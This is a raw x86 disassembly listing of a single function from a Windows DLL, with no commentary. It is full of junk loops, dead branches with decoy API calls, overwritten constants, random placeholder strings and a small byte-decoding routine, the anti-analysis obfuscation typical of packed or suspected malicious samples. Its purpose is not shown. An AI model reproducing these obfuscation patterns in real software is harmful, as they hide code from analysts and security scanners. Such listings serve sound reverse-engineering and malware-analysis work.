mov dword [ebp - 0x18], ebx
cmp dword [ebp - 0x18], ebx
jg 0x1001935d
mov esi, dword [ebp - 0xac]
mov dword [ebp - 0x30], 0xfffffff9
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001930a
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_ClientToScreen]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp + eax*4 - 0x60]
cmp dword [ebp - 0x44], ebx
jne 0x10019322
mov eax, dword [ebp - 0x60]
cmp eax, dword [esi + 4]
jle 0x10019322
mov eax, ebx
jmp 0x10019325
xor eax, eax
inc eax
xor edx, edx
cmp eax, 6
mov eax, dword [ebp - 0x44]
sete dl
xor ecx, ecx
cmp edx, eax
setl cl
xor eax, eax
cmp dword [esi + 4], ecx
setge al
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x60]
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x60], ecx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x100192ec
mov byte [ebp - 0x19], bl
mov dword [ebp - 0x38], 0x52ea
cmp dword [ebp - 0x38], 0x536e
jle 0x100193d2
push ebx
call dword [sym.imp.USER32.dll_DestroyIcon]
mov esi, ebx
mov edi, ebx
mov eax, edi
lea ecx, [ebp - 0x280]
and eax, esi
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x10019397
mov eax, dword [eax]
push eax
call fcn.10042c54
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x280]
call fcn.100023f4
inc edi
cmp edi, 0x6945
jl 0x1001937b
inc esi
cmp esi, 0xa36
jl 0x10019379
push 0x139b
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MessageBoxW]
cmp byte [ebp - 0x19], 0
je 0x1001946a
mov dword [ebp - 0x3c], 0x209
cmp dword [ebp - 0x3c], 0x368
jle 0x1001942c
mov esi, ebx
mov ecx, ebx
mov dword [ebp - 0x30], 0x5cd7
mov dword [ebp - 0x28], ecx
mov edi, ebx
mov eax, edi
or eax, ecx
mov ecx, 0x10075eb8
cdq
push edx
push eax
call fcn.10001edd
mov ecx, dword [ebp - 0x28]
inc edi
cmp edi, 0x3334
jl 0x100193fc
add ecx, esi
dec dword [ebp - 0x30]
mov dword [ebp - 0x28], ecx
jne 0x100193fa
inc esi
cmp esi, 0x5ee5
jl 0x100193ee
push ebx
call dword [sym.imp.KERNEL32.dll_FlushFileBuffers]
mov byte [ebp - 4], 0x12
cmp dword [ebp - 0x3c], 0x2c
jge 0x1001946a
mov edx, str.vqzqlwfja_jwyc_tnfzsxr_irubewmeg_mwidw
mov ecx, 0x10075eb8
call fcn.10003d9f
jmp 0x1001946a
cmp dword [ebp - 0x38], 0x51b7
jge 0x1001947e
push str.xwtr_fdxfymf_ycxepep_tqtfat_mkfmwcu_phxfyqi
call fcn.10042c54
pop ecx
mov dword [ebp - 4], 0x11
inc dword [ebp - 0x44]
jmp 0x100192ce
mov eax, dword [ebp - 0xac]
add eax, 4
inc dword [eax]
jmp 0x100192aa
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 0x10
call fcn.100020ea
inc dword [ebp - 0x24]
jmp 0x10019252
xor eax, eax
mov word [ebp - 0x4e], ax
mov eax, 0x5e48
mov dword [ebp - 0x17c], eax
mov dword [ebp - 0x178], eax
mov dword [ebp - 0x174], eax
mov dword [ebp - 0x170], eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x34], 0x2288
cmp dword [ebp - 0x34], 0x2398
jle 0x10019574
mov edi, ebx
mov dword [ebp - 0x28], ebx
mov esi, ebx
mov dword [ebp - 0x38], ebx
mov eax, edi
mov dword [ebp - 0x2c], ebx
cdq
mov edi, ebx
idiv esi
mov eax, edx
mov dword [ebp - 0x3c], eax
mov esi, ebx
mov dword [ebp - 0x30], 0x69a
or eax, esi
lea ecx, [ebp - 0x2b0]
cdq
push edx
push eax
call fcn.10001a65
pop ecx
pop ecx
cmp dword [eax + 0x14], 0x10
jb 0x1001952e
mov eax, dword [eax]
push eax
call fcn.10042c54
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x2b0]
call fcn.100023f4
mov eax, dword [ebp - 0x3c]
add esi, edi
dec dword [ebp - 0x30]
jne 0x10019514
inc edi
cmp edi, 0x77fa
jl 0x1001950b
mov esi, dword [ebp - 0x38]
mov edi, dword [ebp - 0x28]
inc esi
mov dword [ebp - 0x38], esi
cmp esi, 0x3fb7
jl 0x100194fc
inc edi
mov dword [ebp - 0x28], edi
cmp edi, 0x7477
jl 0x100194f7
cmp dword [ebp - 0x34], 0x20ba
jge 0x10019588
push str.daslgnoj_hgvd_fvpupha_ekug
call fcn.10042c54
pop ecx
mov dword [ebp - 4], 0x10
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x1001959f
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x18], ebx
jmp 0x100195b5
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x17c], 0x5052
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 4
jl 0x100195a4
xor eax, eax
mov dword [ebp - 0x104], ebx
push 7
pop edi
mov word [ebp - 0x114], ax
lea ecx, [ebp - 0x114]
lea eax, [ebp - 0x50]
mov dword [ebp - 0x100], edi
push eax
call fcn.10007edd
mov byte [ebp - 4], 0x18
lea eax, [ebp - 0x218]
movdqa xmm0, xmmword [0x100692f0]
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x2c], 0xf94964a5
mov dword [ebp - 0x2c], 0xc3099cfe
mov dword [ebp - 0x2c], 1
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x2c], 0x811f07b4
push dword [ebp - 0x2c]
movdqu xmmword [ebp - 0x228], xmm0
push eax
lea eax, [ebp - 0x228]
mov dword [ebp - 0xfc], ebx
push eax
push ebx
mov dword [ebp - 0xf8], ebx
mov dword [ebp - 0xf4], ebx
call fcn.1000472f
mov dword [ebp - 0x2c], 1
lea ecx, [ebp - 0xfc]
mov dword [ebp - 0x28], 0x15466bc6
dec dword [ebp - 0x28]
mov eax, dword [ebp - 0x28]
neg eax
mov dword [ebp - 0x2c], eax
call fcn.100020ea
push 0x5f
pop eax
push 2
mov dword [ebp - 0x50], ebx
mov ecx, ebx
mov byte [ebp - 0x5c], bl
mov dword [ebp - 0x5b], 0xc56304a9
mov word [ebp - 0x57], 0x2ec8
mov word [ebp - 0x54], ax
pop esi
cmp esi, 2
jne 0x10019697
push 5
pop ecx
push ecx
pop esi
jmp 0x100196c0
movzx edx, byte [ebp + esi - 0x5b]
mov eax, esi
sub eax, ecx
movzx eax, byte [ebp + eax - 0x5e]
movzx ecx, word [ebp + eax*2 - 0x54]
mov eax, ecx
and eax, edx
add eax, eax
sub ecx, eax
movzx eax, byte [ebp + esi - 0x5c]
add ecx, edx
mov word [ebp + eax*2 - 0x54], cx
mov ecx, ebx
add esi, 2
cmp esi, edi
jb 0x1001968b
xor eax, eax
mov dword [ebp - 0x198], edi
mov word [ebp - 0x52], ax
lea ecx, [ebp - 0x1ac]
mov word [ebp - 0x1ac], ax
lea eax, [ebp - 0x54]
push eax
mov dword [ebp - 0x19c], ebx
call fcn.10007edd
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x24], 0x2e91a04
mov dword [ebp - 0x2c], 0xffffffff
mov dword [ebp - 0x24], 0x19
cmp dword [ebp - 0x24], 0xffffffe8
jl 0x100197df
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
jmp 0x1001972b
mov eax, dword [ebp - 0x18]
mov dword [ebp + eax*4 - 0x90], 0xaa39ed0
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ecx
jl 0x1001971a
mov dword [ebp - 0x38], 0x433f
cmp dword [ebp - 0x38], 0x46d2
jle 0x10019790
mov edi, ebx
mov dword [ebp - 0x3c], ebx
mov esi, ebx
mov dword [ebp - 0x30], ebx
mov ecx, esi
mov dword [ebp - 0x2c], edi
mov esi, edi
mov dword [ebp - 0x40], ebx
shl esi, cl
mov edi, ebx
mov eax, edi
mov ecx, 0x10075eb8
xor eax, esi
cdq
push edx
push eax
call fcn.10001edd
inc edi
cmp edi, 0x2583
jl 0x10019758
mov esi, dword [ebp - 0x30]
mov edi, dword [ebp - 0x3c]
inc esi
mov dword [ebp - 0x30], esi
cmp esi, 0x6864
jl 0x1001974a
inc edi
mov dword [ebp - 0x3c], edi
cmp edi, 0x8ae
jl 0x10019745
inc dword [ebp - 0x90]
mov byte [ebp - 4], 0x1a
cmp dword [ebp - 0x38], 0x3fc1
jge 0x100197d0
mov edx, str.bafrs_jygxn_mxnudju_cazlbzg
mov ecx, 0x10075eb8
call fcn.10003d9f
jmp 0x100197d0
mov dword [ebp - 4], 0x19
dec dword [ebp - 0x24]
jmp 0x10019708
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x100197ef
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov dword [ebp - 0x54], ebx
xor ecx, ecx
mov dword [ebp - 0x18], ebx
inc ecx
mov dword [ebp - 0x2c], 0x76ff55e0
mov dword [ebp - 0x24], ebx
jmp 0x10019815
mov eax, dword [ebp - 0x24]
mov dword [ebp + eax*4 - 0x194], 0x61c0
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], ecx
jl 0x10019804
cmp dword [ebp - 0x18], ebx
jne 0x1001982d
mov dword [ebp - 0x18], 0x837bc752
cmp dword [ebp - 0x18], ebx
jne 0x1001982d
mov ecx, ebx
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], ebx
jmp 0x1001986b
mov dword [ebp - 0x2c], 0x9e3cf957
mov dword [ebp - 0x2c], 0xc4185a1f
mov byte [ebp - 0x19], bl
cmp byte [ebp - 0x19], 0
je 0x10019868
push 0x2579
push 0x14b1
push 0x26bb
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckRadioButton]
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], ebx
jle 0x10019835
push dword [ebp - 0x104]
cmp dword [ebp - 0x100], 8
lea eax, [ebp - 0x114]
push ebx
cmovae eax, dword [ebp - 0x114]
lea ecx, [ebp - 0x208]
push eax
call fcn.10019e36
cmp eax, 0xffffffff
je 0x100198b6
push 0xffffffffffffffff
push ebx
lea ecx, [ebp - 0x1ac]
push ecx
push 1
push eax
lea ecx, [ebp - 0x208]
call fcn.10004367
jmp 0x10019870
mov dword [ebp - 0x20], 0x5425a80e
lea ecx, [ebp - 0xcc]
push 2
call fcn.10002067
mov byte [ebp - 4], 0x1c
mov dword [ebp - 0x2c], 0x7fcc65ad
mov dword [ebp - 0x18], ebx
jmp 0x100198e9
mov ecx, dword [ebp - 0x18]
mov eax, dword [ebp - 0xcc]
mov dword [eax + ecx*4], ebx
inc dword [ebp - 0x18]
cmp dword [ebp - 0x18], 2
jl 0x100198da
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
je 0x10019908
xor ecx, ecx
inc ecx
jmp 0x1001990a
mov ecx, ebx
mov eax, dword [ebp - 0x20]
xor edx, edx
cmp eax, ecx
setge dl
xor ecx, ecx
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x20]
cmp edx, eax
setge cl
cmp ecx, dword [ebp - 0x20]
jg 0x10019930
cmp dword [ebp - 0x20], ebx
je 0x10019930
xor ecx, ecx
inc ecx
jmp 0x10019932
mov ecx, ebx
mov eax, dword [ebp - 0xcc]
xor edx, edx
sub ecx, dword [eax]
mov eax, dword [ebp - 0x20]
imul ecx, ecx, 0x5761
cmp ecx, eax
mov eax, dword [ebp - 0xcc]
mov ecx, dword [ebp - 0x20]
setg dl
sub edx, dword [eax]
mov eax, dword [ebp - 0x20]
neg edx
sbb edx, edx
neg edx
mov dword [ebp - 0x2c], edx
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x20]
setle dl
xor ecx, ecx
cmp dword [ebp - 0x2c], eax
setl cl
xor eax, eax
cmp edx, ecx
setle al
imul eax, eax, 0x5ca2
test eax, eax
jne 0x10019987
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xcc]
cmp dword [eax + 4], 0xfcc86f80
mov eax, dword [ebp - 0x20]
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, eax
setne cl
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x30], 0x6de6
cmp dword [ebp - 0x30], 0x6e0e
jle 0x100199de
mov esi, ebx
mov edi, ebx
mov ecx, edi
mov eax, esi
sar eax, cl
mov ecx, 0x10075eb8
cdq
push edx
push eax
call fcn.10001edd
inc edi
cmp edi, 0x3c31
jl 0x100199b9
inc esi
cmp esi, 0x7ee8
jl 0x100199b7
mov byte [ebp - 0x19], bl
mov byte [ebp - 4], 0x1d
cmp dword [ebp - 0x30], 0x6b45
jge 0x10019a1b
mov edx, str.zbft_xsgvsgib_eifetd_duf_xuokmp_jany_nypqtna
mov ecx, 0x10075eb8
call fcn.10003d9f
jmp 0x10019a1b
mov dword [ebp - 4], 0x1c
cmp byte [ebp - 0x19], 0
je 0x10019a33
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetProcessTimes]
lea ecx, [ebp - 0xcc]
mov byte [ebp - 4], 0x19
call fcn.100020ea
mov ecx, dword [ebp - 0x8c]
lea eax, [ebp - 0x208]
push eax
lea edx, [ebp - 0x1d0]
call fcn.10019ed9
pop ecx
push ebx
push 1
lea ecx, [ebp - 0x1ac]
call fcn.10002560
push ebx
push 1
lea ecx, [ebp - 0x114]
call fcn.10002560
push ebx
push 1
lea ecx, [ebp - 0x208]
call fcn.10002560
push ebx
push 1
lea ecx, [ebp - 0x1d0]
call fcn.10002560
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x8c]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret